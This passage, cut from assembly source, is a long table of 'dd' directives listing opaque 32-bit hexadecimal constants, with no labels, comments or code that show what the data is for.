0AE5440D4h, 0BEC898D3h, 97B8D201h, 6392D0CAh, 92486760h dd 778700C4h, 3E9BBC4Bh, 0C400166Dh, 0B8F4D746h, 6098B696h dd 4036045h, 0FA0934CEh, 835BB7E3h, 0B3FF691Dh, 3BA009A7h dd 0B4203635h, 0A88CE657h, 532ECD00h, 2D5A8A7Bh, 6FE00B4h dd 9CE15B31h, 96000D81h, 0CC27AAA2h, 0B2282FDh, 45E77252h dd 0FF6E1100h, 0B400EBBBh, 89626777h, 2ED60F43h, 49EE5Bh dd 7F97FD3h, 0A006CF0h, 707EDBA4h, 0D51459h, 896E96BEh dd 3D803523h, 0E7A21900h, 6B7DF41Dh, 4E4C049Bh, 0C08AFD78h dd 94DEEDCEh, 13B42549h, 0EB03B2F3h, 0AFF255D5h, 2FFA26A0h dd 3CDA00AFh, 650BB4EEh, 0CAFA96BBh, 67875B00h, 0F8B34D10h dd 0D5E6018Ah, 0A1911353h, 0AA57C001h, 0A2666B01h, 96127C8Eh dd 26D08520h, 34E049h, 0DEA83DA7h, 24003C45h, 5BE2C844h dd 793226h, 0F974B76h, 0C6AAE7FEh, 0CAD83B54h, 0A0FAA416h dd 9AF82801h, 6471EC64h, 76AA6F8h, 4047B2B0h, 4B9EA005h dd 0E4E4CA10h, 5962B707h, 52B327A4h, 0DD348030h, 24F100CFh dd 0D226403Ah, 38000560h, 4BC3F80Fh, 28E54D18h, 0F0B765h dd 6A5C19FDh, 9F8DD8ACh, 0E3FE5600h, 55BAE441h, 0DEAF007Dh dd 6F22D07h, 87004660h, 97B57BADh, 3298A9Ah, 619E165Eh dd 6DB1AA32h, 0E0792098h, 1F0A409h, 70B420F8h, 7C6221F3h dd 36C100B9h, 425EBCE0h, 350E9C64h, 0E002EC22h, 61B1DA04h dd 6AEF003Fh, 0F36CE31Dh, 1F00ACC9h, 121FAEAh, 67BB4Ch dd 0F8F435CAh, 5328C5A9h, 1223D100h, 0E50E913Fh, 57E6024Eh dd 0CC069868h, 0C0DCC884h, 0ECD30718h, 36555D00h, 0DBF01CD6h dd 8CCD0045h, 5B5804DEh, 0E032ECAh, 0CB618815h, 0FBD1D0A4h dd 0FE9C00CDh, 0BA8F0473h, 65011EE0h, 0A017AF2Dh, 0BDE0BCD4h dd 0E36E00B4h, 48AE0F98h, 6609598Dh, 8AB381h, 85267B80h dd 0E42112F7h, 455C0074h, 759106D6h, 0B29BB00Eh, 0FD098056h dd 0AE7DBCh, 0CE70C6F0h, 4CF8409Fh, 0C700C4ECh, 130B1EF9h dd 745B81Ah, 0E1086C47h, 24443091h, 0C10023A7h, 34313C35h dd 13D5584Dh, 0D22FD9h, 0D0EBB58Eh, 3E00AFFFh, 9572FBE5h dd 381BF6F7h, 2873177h, 80BB5EBEh, 85B4A7AAh, 92481100h dd 0E5CB9B5Fh, 3D89876h, 0C16A8765h, 0D3A0D115h, 0BEECB99Ah dd 8D9EF800h, 562F11FDh, 5BDA0065h, 1436B0E6h, 2A003161h dd 421E720Ch, 0FEBEA022h, 0D79059h, 2CF47603h, 0B00F5452h dd 284DD40Fh, 8A5564DDh, 0C6AD5080h, 1D52908Bh, 0C04FFDC8h dd 0D4725411h, 180006D7h, 4C77CE9Fh, 497FB602h, 30004C83h dd 599B3127h, 561F49EEh, 8D134292h, 0BC12E01Dh, 7A605002h dd 0B22E1657h, 2B001099h, 0A044E1C4h, 25C30022h, 742DB31Ch dd 9A000BEEh, 0D986BA62h, 101731h, 6F99B955h, 73E6C3C5h dd 0E07748h, 581FF0CFh, 3C69F1C9h, 1C007926h, 0E0CBA86h dd 0DB383EE0h, 892CF0AFh, 3D800873h, 114A5E04h, 0F2C47CDCh dd 1EDD0377h, 0EB08E114h, 32880D4h, 1000A98Eh, 94560106h dd 0FE476A88h, 0D221C348h, 8A0007C7h, 0D3D097BBh, 6F47DF6h dd 1F5A4F2Ah, 0C300A076h, 88FCC792h, 770CBADh, 0F37B1ED2h dd 0CC0530BAh, 0F60150E2h, 0EF15D148h, 4361F063h, 0DC04A841h dd 1F64A024h, 4FDD8DC2h, 809D5747h, 4CE6E575h, 7100B3C0h dd 0A5CD5686h, 261D06C9h, 0C2B980h, 0CBF8A663h, 0BB04C2A8h dd 0AE455DE5h, 0D71CA881h, 6C60BDF9h, 71E003E3h, 54FF659Dh dd 742A9A81h, 0DA7D78E4h, 0EC77E600h, 9E513A7Eh, 0DBFD0E0Ch dd 38809397h, 0B972C05Eh, 0E835A200h, 1D92033Ch, 0C3480088h dd 9B332026h, 460CDE16h, 585A0842h, 0EBA3F30h, 7076BCh dd 46D64740h, 57C33D9Eh, 744AC100h, 0F5EF45EAh, 0D3270142h dd 83AD53DCh, 0C865208Ch, 1270DE00h, 314179ACh, 36F50172h dd 18442813h, 7782830h, 89056A2h, 24946030h, 7D7C2C0Bh dd 0DFAE00B0h, 0A83685D5h, 34FB082Eh, 3FACC081h, 16809B41h dd 0EEB6CE4Fh, 4AF81F40h, 2D02C500h, 0A166D620h, 0FD670047h dd 0F9244F55h, 7A007C72h, 0BC11D444h, 3ABACF6h, 53D3DC97h dd 0E087236Bh, 61B9783Ah, 55D280A0h, 4F8D5600h, 8809E3B4h dd 149060h, 25CBF42Eh, 15BBCC07h, 0A7720400h, 850253E4h dd 0C12B0048h, 8A1119EAh, 577DAE66h, 0CF37E700h, 0A994225h dd 7DBD00CEh, 78241967h, 0F2741AC6h, 0D9EEE100h, 3B5CC91Bh dd 75F9004Eh, 95E7032h, 6000A544h, 0DBC70BBDh, 0C191C9h dd 0AD3F6F8Ch, 582AF28h, 0CCD839h, 519D2D06h, 5B7EEAh dd 4A9979F5h, 0F3D92569h, 16030290h, 0A5AADEF6h, 0ECE80059h dd 0E1DA02DDh, 7700F40Fh, 0F2FAB134h, 0BD2E9h, 0CE01E725h dd 4EB9E469h, 8D0027F2h, 0A896E13Fh, 3CCC75EFh, 30809C5Ah dd 9E2534B6h, 0F4A135BAh, 5F0CF848h, 8CF5B300h, 99FC1586h dd 0E1B80055h, 645D3012h, 1C00B6F1h, 46E6A195h, 37BF875h dd 0AE43CA70h, 33A01159h, 0B100BAAFh, 8BF64D68h, 0E376F23h dd 59919738h, 8962658Fh, 84C0CE78h, 6A00A78Bh, 0FD880532h dd 4CD84E0Bh, 151EFC61h, 0AD404065h, 0D5277D5Ah, 0E368B50Ch dd 9851DCE9h, 3F943B5Ah, 839F30B9h, 2F9FD7Ah, 2226BEE0h dd 9880641Dh, 82AA75A4h dd 0BCE71901h, 0C209ABDCh, 0B33AD0FFh, 0E91E00B9h, 0B19C2EB6h dd 5F000736h, 8F25A795h, 0BACA5790h, 28190128h, 6629AC7Eh dd 709850FFh, 0B312E984h, 0A087B8B0h, 14C66CD0h, 0D77B07C9h dd 0DF5699C1h, 6AAB22C0h, 0EF137F49h, 68608DBDh, 995303h dd 0A4AA5264h, 483CAF6Eh, 0BA43F500h, 0E81C6BE6h, 6F1D02CCh dd 7484DD75h, 615B99C0h, 33BC6A50h, 5DE2D000h, 9DE7882Eh dd 352B00DEh, 6A216669h, 901FEA1h, 5BB2D22Ch, 7F601F9Bh dd 9A2400EFh, 0E7272938h, 0CB303978h, 7C531814h, 45DCEDE0h dd 36CDFDB8h, 0A100782Ch, 0C1215182h, 0ED3C4AF8h, 6620AE0h dd 0F089B4C9h, 0E3C00F9h, 3F80C09Bh, 0DE801507h, 181736FDh dd 0C4A0A50Bh, 200B62Fh, 139C92FBh, 614314h, 9D8836C3h dd 396BD230h, 0BA7A71E0h, 280712FEh, 0B5F5D884h, 0B6206089h dd 7A86045Ch, 0A026A3C4h, 63008B40h, 120E54A2h, 907B559Dh dd 0F99FA90h, 0C458535Eh, 6DED88C3h, 0E685FAB0h, 0E2597A00h dd 69D598A1h, 609D5C8Bh, 0A995380Fh, 0D1F31AE0h, 0A1F22673h dd 6C96C900h, 300FFF4Bh, 8307071Ch, 70B8AF59h, 0AA3C103Dh dd 61601E60h, 71BDB33h, 352C6381h, 0C4B8F0BDh, 3C07BFF7h dd 0A4CCF85Fh, 0A8E3805Bh, 4A92AD14h, 38BC00F1h, 67964CD9h dd 74879D0Bh, 0DD18A048h, 3821418h, 0F769039Ch, 0D4E8C472h dd 0E80F190Fh, 0C0A24B77h, 1A3B4A9Fh, 582A004Dh, 5B248A05h dd 7312E0D5h, 5000C02Bh, 0B339C9DEh, 7FCF00AEh, 0D2CEF758h dd 0F30040E0h, 68BEF022h, 48879705h, 8200A702h, 370A9D85h dd 0EE033C4Dh, 0E2117035h, 92DE2658h, 913FCh, 0E7E9DCEFh dd 0DD0050B1h, 0DFD10F28h, 7D5F7C1h, 143CF8C3h, 0C25C00CAh dd 39038588h, 0BEFE40C8h, 6727A807h, 7D0C0929h, 6080C665h dd 0F406E12h, 82C5Ch, 977D7B4h, 35E2F9Bh, 0A296EC87h, 8000B8E5h dd 0C869E27Ch, 9F7E8Bh, 88A8F7F8h, 1E81766Eh, 0D3A97001h dd 2418EE1h, 85CC60h, 2C9BF311h, 0F8EC37FFh, 8C594E0Fh dd 0B4CFC57Ch, 2540941Ch, 33AF680Eh, 0DF0F028Dh, 549E55FCh dd 806E6541h, 8B6B9A78h, 3507B1h, 72265BC9h, 797CD377h dd 0CDAA7000h, 9F2C8A1Eh, 0E5360069h, 50667EE1h, 0EF00E023h dd 2025D592h, 9C433Ah, 5D84F9B4h, 79F42C01h, 3617180Eh dd 2DAE4095h, 0A14686h, 9A49E5F5h, 0C691812Ch, 0C0DF3F00h dd 4089BBF7h, 9FEE01F8h, 0FDA86495h, 8945050h, 0F5013D43h dd 0BC789C55h, 20307B17h, 5E320092h, 0B5A8E5CEh, 0DA1D8045h dd 0A440010Ch, 9735C139h, 0AB1F1F6Bh, 0CFDB8073h, 0E5654122h dd 0D567E00h, 231CC3BFh, 5078603Bh, 87B3F96Eh, 0B2D75203h dd 0A8321566h, 3017C1BFh, 4FA0091Bh, 0CA00107Fh, 5F132E0Fh dd 0C9A2EEh, 4A74A8EBh, 79667181h, 0FEF95601h, 9F8E292Fh dd 9C28D0DDh, 7151BA04h, 1054A2DEh, 431C1FDFh, 7280BC44h dd 4D824B25h, 27135458h, 18406CB4h, 0C9B36B50h, 0E6D00522h dd 0B0ECCEA2h, 8401FC30h, 0DAB1439Eh, 0ACF0AAE5h, 0E880B25Eh dd 401D607Ah, 34DE04CBh, 84504Ch, 4A204E32h, 7126E43Ch dd 0C5E7959h, 0B9BC5D55h, 5609759h, 4818C186h, 0FC09ECDh dd 61C00B9Fh, 0A2453F60h, 91CBEB17h, 53BF9403h, 181FC022h dd 13303001h, 6A996E49h, 674ED006h, 0ED1280Ch, 3FECA7B2h dd 148224E1h, 0E0972127h, 6405FA92h, 9E1A277h, 0A52AE480h dd 718F760Ch, 13CA7F8Ah, 4A777Eh, 9E5408D8h, 8CB0E2DAh dd 9B394518h, 0E04C61h, 6F425A49h, 0B53F8FABh, 0CB1E7009h dd 99EC2055h, 0B9E5E179h, 2E803FCCh, 2D6150A9h, 763052F0h dd 17BED8B9h, 0BA992C7Ah, 4BEF8090h, 2372F291h, 40CB3072h dd 60F00FAAh, 0CC8087DAh, 48E053F9h, 8D012E0Fh, 10F72301h dd 22C7E0F8h, 0FBC2E802h, 0D893DEE0h, 0D55A1898h, 33F579D4h dd 161B8F02h, 0C07D7AB7h, 19D2326h, 0F8660A85h, 0C22ECD24h dd 0D7183060h, 0C7CE2A00h, 575DB93Bh, 78F40FE3h, 5F97FA4Bh dd 3EB04088h, 461E8CA3h, 3FDD0309h, 50007724h, 0BA86A735h dd 0B2805201h, 42FD1DC0h, 13DB62C0h, 0C0730D3Ch, 0B788C597h dd 0BD16C7E2h, 0D08098E9h, 0A8C9A45Bh, 5D803F8h, 0B01D7749h dd 0B5CA0B6h, 67329C00h, 708D7E30h, 361B2DCEh, 2C4B2000h dd 1100D0ECh, 8F4EB815h, 5D0CEAh, 0E6A804B9h, 91EE31E4h dd 94667309h, 0FA9807D2h, 0C52BDCA1h, 75E45060h, 0A31F0128h dd 45E16879h, 93892015h, 804D3F3Dh, 1FC636A8h, 242852B7h dd 26F80F34h, 6CD560D8h, 0BF077C41h, 431B362h, 2F42DAC0h dd 92770B97h, 38010C7h, 0CF1D6958h, 122C3201h, 7BD001A1h dd 13F6E340h, 734C00C0h, 0A35A85FCh, 8D0AA776h, 8405E41Ah dd 20100F13h, 0ECFC0084h, 0C190E71Bh, 4EC62h, 0FB5A80BAh dd 1946CC77h, 76AA7A24h, 3F00382Ah, 0B6322138h, 14115492h dd 0BC956391h, 6D4E2700h, 0BFDD682Fh, 32316F61h, 19C4FA59h dd 93C7022Bh, 330C7B3Dh, 4BC94448h, 1F39EE1Dh, 0D77080ADh dd 6079EF70h, 90A17814h, 0B700A513h, 0C9F84DEDh, 58047Dh dd 2B57F4CDh, 97D9D46Ch, 96A35218h, 2441C92Ch, 84F559h dd 6945E8D3h, 0F10078C2h, 93716621h, 1C582FCBh, 13A5E9E4h dd 0B2B48039h, 0A061135Fh, 0C41A5598h, 260B89D0h, 9780D661h dd 6540029h, 24940579h, 0DC810202h, 0EAD61EECh, 5094A0F8h dd 4CBC967Ch, 257B7CE1h, 0E884C131h, 0D39B8279h, 4087C840h dd 0F8FF78CEh, 1D87561h, 1EF05A83h, 74046589h, 4B09E3C4h dd 987B589Dh, 0B870DE58h, 7ED60B91h, 34E02BD9h, 1116BB5Eh dd 64D1FC67h, 3078DD20h, 0A41811h, 2E4E9F7Bh, 3603E33h dd 9E91E406h, 0EEB0F556h, 3C5C226Dh, 0B16B01C3h, 0DBBFD93Ah dd 0EE4037E8h, 0C97B0013h, 99B7F53Fh, 4312E3C2h, 7C00D286h dd 91D08A75h, 0FE589D2Bh, 0C22F3C00h, 42BD2737h, 86E800D9h dd 184BCF53h, 80093828h, 7E5EE7Ah, 44804CF4h, 0CEB74F7h dd 0C871E293h, 0DC0ED618h, 0E5CBD76h, 0F130543h, 67A3D840h dd 24F90CC5h, 80EC82ECh, 0DD097807h, 0A17BC89Dh, 19C5CA00h dd 31C01E58h, 5113002Ah, 88B6053Eh, 731D4FEBh, 0C0247DA0h dd 5C19FE00h, 0E8363C5h, 0DB9157D4h, 80D7C8A5h, 0C917234Eh dd 0C467F900h, 77416102h, 56D0063h, 45BF14EBh, 8C2743DAh dd 9F488587h, 8424A4h, 0ECF67489h, 6F69C071h, 7901817Ch dd 6046A99Ah, 0F45072DFh, 0C1285EDh, 7413641Fh, 6EF401D0h dd 11D5C600h, 6CF9C0C2h, 0AE38004Ah, 0E89760BAh, 0D0005FA5h dd 128D4CFBh, 7F8CF7Dh, 2CC118EFh, 3D3960D2h, 0ECED0CBCh dd 0F300243Eh, 0B81CD0B7h, 294112h, 87E881AAh, 95F81303h dd 0A254600h, 0C7403501h, 0F9509092h, 8A12786Dh, 80AC53B5h dd 26BDC8D8h, 6522BF00h, 40D4C495h, 179E012Eh, 47AE8230h dd 0F459D860h, 95514600h, 0A6082DE0h, 87FD067Fh, 0C4D4FA9Ch dd 0FB35D100h, 3C7D76B3h, 0DDE90002h, 0CD66BA49h, 0F00BB1A7h dd 8005E738h, 700C3F56h, 0DD9B05EAh, 0AFCE7696h, 0F12F1280h dd 40573C75h, 610BD83Eh, 0DC003227h, 0C6D0D99h, 0AC37200h dd 17F6EE12h, 0DF1D1C45h, 0C11100E3h, 98C60C2Ah, 8C979B00h dd 27CD6EEFh, 0D41D0268h, 4B806FF8h, 40107460h, 3E142800h dd 20BF4A86h, 0AE3B0018h, 0E8A9DFD5h, 0CA00EF41h, 0D78C9E8Eh dd 0B111FFh, 55F37134h, 90BA8BD8h, 840D7200h, 219D80C9h dd 76A41F06h dd 93F28053h, 47A7A26Dh, 5CCC6E25h, 3DB70025h, 0CDB271F6h dd 33CA93Ah, 28BCE938h, 7226E10Dh, 0BEE0A371h, 6A8F16A8h dd 56DB00A0h, 5E5D1BE1h, 0B203E600h, 9B8647DAh, 3B811217h dd 0A7CF00F9h, 0EBECAE63h, 65EAB900h, 531E0D4Ch, 970C1421h dd 7B00902Ch, 9C0AD435h, 4601925Ch, 372AA098h, 8730DA11h dd 0EE020029h, 0B1D7B07Ch, 0C900668Eh, 1F9713F7h, 3A36583h dd 948847B4h, 2C809E0Dh, 7A00339Ch, 2A626CDBh, 1FBE210Fh dd 4D275Eh, 0AC7BA3CFh, 4700CE09h, 6FFE22F9h, 0D13AE5h dd 0C2CF5658h, 744AF2D8h, 5C045400h, 0FC9ADA75h, 0F6A0000Ah dd 5EF52957h, 0E00037BDh, 42E2724Eh, 0C0031E71h, 0CF5A8438h dd 0F4A6755Dh, 12101C3Dh, 51001602h, 3482E5D1h, 2C727Bh dd 71ADCD4Dh, 4314B39Ah, 0FB07DA00h, 0B6BAC6F8h, 0A6770Bh dd 229B4B09h, 0E654E8CDh, 0DA423100h, 23B4F460h, 88EB17DEh dd 0C4F60952h, 190D5803h, 37B98D90h, 50C2C812h, 115C5402h dd 809C42F2h, 6DE45D2Ch, 58F748EAh, 1FE3B17h, 0F22FFFE3h dd 1900DBB7h, 2A40F86Dh, 382D569h, 0E1EA73FBh, 9AB0E64Dh dd 5D00EBA0h, 1BC76EAAh, 7A2A3629h, 4D4B0401h, 809D1193h dd 0C7333204h, 484A0900h, 291F9C9Bh, 57F8DBh, 87C61AE8h dd 0A4B63678h, 0E2B3CD00h, 0C1F7E94Ah, 0D8BF14EFh, 153CD4A5h dd 9E402C80h, 0C84F52BCh, 0F2B36C00h, 5F4CC4E5h, 8CE82Bh dd 0BBF00FDBh, 0D478EC1Ah, 0FD0B7B28h, 0B0253B00h, 36B948Ch dd 64AD00D0h, 4576E6A0h, 8D065951h, 4D08E478h, 82CA0029h dd 6DD70EC9h, 723CD27Ch, 0ECA50080h, 56BA7F0Dh, 0DE7FFDh dd 0BF450FAAh, 0A16BD1D2h, 4447F400h, 0C4AC5646h, 0A2531C17h dd 658F4038h, 0D09F066Dh, 3452B600h, 533B0F94h, 0BDB500CBh dd 0C4917F41h, 4500856Eh, 0E594FAE1h, 0FFDCF02h, 0C25CBC52h dd 8903DD03h, 438CD6C0h, 8F0032F8h, 0B6E0A80h, 0E354EDh dd 79EA9EB2h, 0FF6D1B35h, 0E187C900h, 0F8E84064h, 0D4D80E50h dd 38A0A970h, 0A6CA4A08h, 4FC78200h, 0E04C048Dh, 7F45050Ch dd 70FD97Bh, 27C7B530h, 0AD6B808Dh, 8661EC22h, 9493B718h dd 675184E0h, 83BB1081h, 20965A8Bh, 0B5264E00h, 9E38066Eh dd 8A89072Eh, 8122C91Bh, 0C86D467Ah, 0F50F83E6h, 8081C557h dd 334E306Bh, 71C0007Fh, 0B91E6245h, 0D205B506h, 5886C587h dd 0E0FF7A83h, 0B06612h, 0C6C6E65h, 9B410E75h, 0CFD19414h dd 8F8060ABh, 0EE7B6B29h, 0E5040080h, 3E63AB39h, 7300F5E4h dd 7225DFF0h, 919E1Ah, 0D1CA350Ch, 694A884Ch, 68080100h dd 77396FA9h, 180D0C5Ch, 22189F8Eh, 87070A00h, 0FF358AA4h dd 90597724h, 20956048h, 4F0EA97Fh, 0E235A0A0h, 0CF0AE90Ch dd 4BD93096h, 0B508A0D6h, 0BFAB00Dh, 4088183Dh, 1E3E79A2h dd 0EC078351h, 0C801B9Ah, 80691F42h, 0B37310Ah, 97B0E19Ch dd 3F986E13h, 0BCD4570Ch, 218167F4h, 30898DA8h, 51C008C0h dd 0B835C059h, 0D181695Eh, 0BE870157h, 0C6EC098Ah, 0D241CCB6h dd 9C125354h, 840378Eh, 47C71CEh, 71C263B3h, 0BBE38BE9h dd 3F1FE8F0h, 60D0A934h, 8C576000h, 2E7AABh, 5BEB40Bh dd 8A5A60E3h, 21C4E400h, 14C3252Dh, 0D8D6003Bh, 64C6A9E7h dd 1575DBFEh, 0F773A302h, 808CED05h, 5048BBEFh, 3022E861h dd 0BE70F9A4h, 0C730630Ah, 0D760B9B4h, 3527BF5h, 18B9126h dd 98A392CEh, 0DF72217Eh, 0ED526303h, 0F0AA8D30h, 0A5D6CFDh dd 8462BB83h, 0E586028Ch, 0BC8136EFh, 5196884Dh, 9CA1DB98h dd 0ED8A048h, 0E02C8050h, 28DF62B3h, 980890A6h, 210E4E80h dd 6FE5C87h, 0D2183561h, 29F8206Fh, 0F0FD8601h, 0CAB83473h dd 50453024h, 60D2A081h, 41241067h, 0BB0943A9h, 792D8E3h dd 3540A696h, 1F909Dh, 0B3F22B20h, 0A1692C25h, 60007A76h dd 647E2365h, 0CDDE96h, 513A22B7h, 0B5F0F734h, 312BE600h dd 49FEF621h, 85B00F35h, 0ED8FE1ADh, 3D36E300h, 5702C4DCh dd 67051310h, 44DA802Dh, 1619C56h, 2A9E3FBEh, 0DB146C1Ch dd 4D7ED90h, 2C90BF1Dh, 76D7D80h, 7E06373h, 0E5E961A6h dd 353B794h, 0FA8BA156h, 7983C4A0h, 185FBA01h, 9550CF6Ch dd 30E0D0h, 126ECBE9h, 0FCD11B2Bh, 0BB657801h, 0AF6471FFh dd 6A77A981h, 9FAD3CFBh, 85B90D20h, 86CE6CB5h, 0D0EDC7ABh dd 440A2C67h, 0FFFC2E00h, 4905EF96h, 0E2E10CACh, 0D7484352h dd 302E242Ch, 0B25BD001h, 198006CEh, 5A81F73Fh, 5801DF0Fh dd 115961B5h, 91D05C0Bh, 4AD406E2h, 311055E3h, 0CFEE2600h dd 92E92CCEh, 0E8FB00D8h, 98DF09FCh, 0F000F34Eh, 10379F26h dd 9C3D76h, 0C14D14B8h, 21EACCFDh, 1D5C4200h, 0AB3B1E72h dd 1F0E018Ch, 83A070D7h, 0CFBAF8D4h, 25C7EE00h, 86EBDCE2h dd 5801E884h, 0C100C5E0h, 0DED9496Ah, 0E3DC2E8h, 4C6D18CEh dd 0C3EF61h, 0E7BF01F9h, 0F807B288h, 68B07A00h, 3B9353ECh dd 3D7900BAh, 0EDFFDAFBh, 500AD6Eh, 760A974Dh, 785A44A5h dd 0D24F0EA8h, 0D8039A7Ah, 7800CCF9h, 0AEF7751h, 3BAB464h dd 1232EC93h, 0A8F9F565h, 1C89C0F3h, 0E7E6700h, 262BBD63h dd 0FE5B3051h, 4675C541h, 17DA900h, 0CA94D20Bh, 124418D4h dd 6A70F0C9h, 0D7F45126h, 0C050B900h, 7444521Bh, 0CE220C8Bh dd 0FD48FCCAh, 81CB2A00h, 94FFB779h, 2FD300B9h, 282E32F0h dd 4E036799h, 0E6DD53EFh, 624D08Fh, 60E15C55h, 61FDE000h dd 0C686DA6Ch, 497BAB7Ch, 0A86B0600h, 0AA470A57h, 4083002Fh dd 0A207DF2Ch, 0C1006F95h, 0EE5E5022h, 0F00AF043h, 0DB970F7Fh dd 480E23E6h, 0F41EAF74h, 3EA686ACh, 29E85834h, 160B9BF6h dd 8C1356F0h, 3EFC66Ah, 0CFAC02C2h, 680054B7h, 3D2BA4Bh dd 167B488h, 2782FE5h, 0F05EA1AFh, 7300C693h, 0D60FDCE4h dd 0F9A940AEh, 0FB3A270h, 0ACC80DADh, 0D3F65520h, 88C04945h dd 0CCCA4DDDh, 52923D6Fh, 4C885A2Ah, 0B861BF28h, 0D0293F50h dd 11C0FA4Ah, 7806F1AEh, 956900DEh, 89E165D6h, 0BFEEDD66h dd 5A189D1Ch, 0C72E0A83h, 37B806EFh, 0A8FC5E7Fh, 0FAAAF218h dd 93DD48h, 0B8E37CE5h, 9CC84D38h, 97D7D000h, 0BA44CA27h dd 0D64E0046h, 1C4A8C1Ah, 6474B92Eh, 88DA3C00h, 0EB01F862h dd 8D810C68h, 0CE08B813h, 4AD221C0h, 14024CF8h, 0E29E0DD9h dd 0EB8C5400h, 65FC7931h, 0C474060Ch, 623068h, 8E56DD33h dd 107E0280h, 0FFD33803h, 0DF79E270h, 53720068h, 0D93F614Ch dd 0A2477E01h, 2BB393C2h, 5948AEB0h, 2867C5E4h, 6E604220h dd 16EBA3C1h, 198C6B0Ch, 91DA717Dh, 6F805BD0h, 80E03AF8h dd 88B40CE3h, 0F80777B9h, 548AC17Eh, 23436881h, 0FD1B1F0h dd 0FEED60CAh, 0ADA9F740h, 0D9032A6Fh, 3595CB47h, 0EED4A841h dd 0D0980069h, 4B1C7C7Eh, 0B0186DBDh, 27616BB1h, 919900BCh dd 4BBA4E6Fh, 4370D8E9h, 0FA1FF33Dh, 59E86260h, 3A059234h dd 54037ED1h, 0CEEE4D2Dh, 0FC335800h, 0E7D52E26h, 6F0800F2h dd 1DEDC9Fh, 2000B30Dh, 63CD819Eh, 0EB24F3h, 0A604494Eh dd 0A82ECCE8h, 695DEE00h, 0A01A8642h, 4615034Dh, 1B389D43h dd 16373FA8h, 0C0FDCB2Dh, 0C38D4C2Bh, 3D09A09h, 0F3BE1000h dd 0F650C5DAh, 3F5400DEh, 0E19764BBh, 9D0086BDh, 7F98FCF4h dd 64D966B1h, 23BA28CAh, 4844FC9Eh, 4FC548F8h, 0FA8C8490h dd 0E433C44h, 8600B387h, 18B54EEAh, 42DC00FCh, 0A7113390h dd 17F209BFh, 0D407CF70h dd 0F871F79Dh, 0FA14610h, 9492008Ah, 0C0FAE3BCh, 0E3A0DE1h dd 7D2838EEh, 0AE6F9614h, 8C0376BFh, 0B7ACC426h, 0DF73D02Bh dd 659400C2h, 3EE7EFDEh, 77001A8Bh, 0D4CBC74Dh, 369DA84h dd 0C5BFCAF1h, 0EABB7B94h, 9C8A3A0h, 359948h, 0B10B7ADBh dd 7F0ED6E7h, 165700F1h, 6EABCF33h, 3F0075F2h, 5E2B3409h dd 7CD655E6h, 5BBE00A6h, 2945C219h, 52262C97h, 250C3CF2h dd 28F4DA27h, 2CC0C22h, 0CCDE0A6Bh, 0D080D6E1h, 552042CAh dd 8B46B300h, 3B0EC7A7h, 716B01BFh, 2C938F27h, 4D28C0D8h dd 30945000h, 0FC3246F6h, 0B2701BBCh, 45902092h, 12012E99h dd 0B02A2F52h, 86FC2031h, 5DFB0098h, 1DAB5354h, 0BA0055B7h dd 0A5C9B1C5h, 122C9D90h, 7B49151h, 0F0460A12h, 0B6D80255h dd 0B000FFB8h, 1B438224h, 1CC7F415h, 40B283BFh, 9FE7E4Ah dd 0B6505F73h, 5B302B9Ch, 0DBAF1AF5h, 0B471D63h, 0E50F4004h dd 85BA41E8h, 0DCF8EB00h, 37DEA02Bh, 3CA70083h, 0F1FE0D27h dd 4C00D055h, 6F42BAFAh, 1EB0F2E5h, 4084044Bh, 17A7FD65h dd 0CA001C02h, 8CE05186h, 1D61D3Ch, 81DA4E4Bh, 80E51E78h dd 0B90A1AD0h, 34AF70h, 7198CC4h, 36AA3AC6h, 82043Ah, 295ABBE6h dd 0EE5B2750h, 0C211FAF7h, 9824069Ch, 0AAA5C080h, 4107F275h dd 76A80C51h, 8C4C0069h, 720BEFF8h, 0FF49031Ch, 27FAB4E9h dd 5BEE7988h, 0FC0044E6h, 1319E029h, 468685h, 0BD321EE6h dd 26211BB9h, 0CB4A9800h, 434EE445h, 3EC09DCCh, 1600A476h dd 0E7F4AC9Fh, 51D62Eh, 68BAFEC2h, 38C5A51Ah, 24E4F00h dd 9B9F06B0h, 0C2F80E21h, 1D297E7h, 301D24FCh, 6DA02F38h dd 2BD1008Bh, 0BD77939h, 3400530Dh, 816D6410h, 9F5E402h dd 0EF862F77h, 8B40C820h, 0DC00FA62h, 53238CAEh, 58F25845h dd 40032ADh, 6E5FF688h, 0FC02DA24h, 0F554E16Bh, 108E155h dd 2D2770h, 5A05AC63h, 734FCF38h, 38D3038h, 1961A402h dd 8AC4F83Fh, 57560037h, 3E9EC580h, 8B002AABh, 0D778DE6Dh dd 0E62B2DCEh, 9CC900A2h, 31CD3871h, 0D100894Eh, 1658312h dd 0D384E1h, 3DADBF28h, 0C8A99BEFh, 320A3400h, 4FD11180h dd 4E5E077Bh, 0AE0FFDCDh, 0C4013580h, 43FCA6FFh, 6BCC640Fh dd 0C744C0EBh, 0CB9B78h, 16EEF49Ch, 91D7FB5Ch, 7422F00h dd 82C45095h, 6402005Fh, 3305CD1Fh, 9E07A24Ah, 0F4F60116h dd 92F39AA0h, 3C9B00BFh, 6964CB9Fh, 0CC00D7E3h, 0FC1CEAB2h dd 3E33584Dh, 0B4009A6Dh, 2CE99789h, 600BE776h, 0D00C0B48h dd 30280072h, 82F5B0AAh, 0BB00F959h, 85CE2726h, 3B861258h dd 79075A9Ch, 3017D262h, 885E3D0Ah, 84CFF100h, 0F06C704Fh dd 8FBF00CBh, 77B56F54h, 69001B18h, 350D1640h, 0E43C630Fh dd 5E6400ADh, 33A453A8h, 0C1077995h, 15A3B950h, 2CA19240h dd 0D64C1D8Ah, 796808Eh, 0F2F6C758h, 0E71C552Eh, 52516400h dd 1877D687h, 646127DCh, 0B10001A1h, 0E30D042Fh, 1D22050h dd 8B9D62E0h, 0E8DD7F60h, 0A90F580Ch, 0EF0F9833h, 182D400Dh dd 28B5A348h, 0A0C9BEh, 92C54EC3h, 0AC66DBCBh, 8A0BB80Fh dd 0AE3B80FBh, 736BC694h, 0A8C0042Fh, 807FECABh, 0A0FB844h dd 62D4D101h, 79B1938h, 14E56EC4h, 0A0843211h, 5962500h dd 2A8CABE6h, 9A451A00h, 5C0ABD30h, 3BC8008Ah, 61DD9890h dd 0F60039FEh, 0F72A3D07h, 13AADAh, 0EF6BD49Ah, 8A11502Eh dd 8900B7E0h, 16D71B62h, 151F2F7h, 2E383170h, 0ECDC6FEFh dd 0FF24737Ch, 69003C5Dh, 0DA49118Dh, 3CBA0202h, 0FCCE36EDh dd 0D18B4141h, 0D78FC0FFh, 33E58800h, 16E7D003h, 32503FA6h dd 0DC807A06h, 0E9A12089h, 0CE8D404Bh, 7F005AC7h, 8F35A615h dd 7E0CA29Bh, 12DD0042h, 3C38250h, 